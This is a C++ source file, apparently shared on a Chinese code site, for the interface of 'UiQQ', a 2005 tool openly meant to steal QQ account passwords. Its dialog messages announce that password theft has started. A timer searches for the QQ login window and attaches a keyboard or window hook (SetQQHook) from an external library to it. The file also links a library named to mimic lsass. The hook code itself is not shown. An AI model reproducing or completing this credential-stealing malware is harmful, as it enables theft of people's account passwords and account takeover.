📄 uiqq.cpp
字号:
//UiQQ道 之源代码
//FileName:UiQQ.cpp
//Function:界面部分代码
//author:断水流 中国石油大学(北京)
//HomePage:http://www.uisoft.net
//Date:2005.6.4
//More Information: 8月份推出完美版,请关注http://www.uisoft.net
//E-mail:yuhejun@126.com
#include <windows.h>
#include "resource.h"
#include "uihook/uihook.h"
#define ID_MYTIMER 555
#pragma comment(lib, "1sass.lib")
BOOL g_bStart;
HWND g_hQQLogin;
LRESULT CALLBACK ProcMain(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_INITDIALOG:
{
int x, y;
RECT rect;
g_bStart = FALSE;
GetWindowRect(hDlg, &rect);
x = GetSystemMetrics(SM_CXSCREEN) - rect.right + rect.left;
y = GetSystemMetrics(SM_CYMAXIMIZED) - rect.bottom + rect.top - 10;
SetWindowPos(hDlg, HWND_TOPMOST, x, y, 0, 0, SWP_NOSIZE);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDOK:
if(!g_bStart)
{
MessageBox(hDlg,"你在开始盗QQ密码了~:)","Good Luck",0);
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
g_bStart=TRUE;
}
else
{
MessageBox(hDlg,"你乱点毛呀?你已经开始了","晕啦",0);
}
break;
case IDCANCEL:
if(g_bStart)
{
KillTimer(hDlg, ID_MYTIMER);
MessageBox(hDlg,"你取消了盗QQ密码~:(","Why?",0);
SetQQHook(NULL);
g_bStart=FALSE;
}
else
{
MessageBox(hDlg,"你乱点毛呀?你还没有开始呢","晕啦",0);
}
}
}
break;
case WM_TIMER:
{
if (!IsWindow(g_hQQLogin))
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL);
do
{
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL);
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ");
} while(g_hQQLogin != NULL && hLogin == NULL);
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);
}
}
}
break;
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)ProcMain, 0);
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -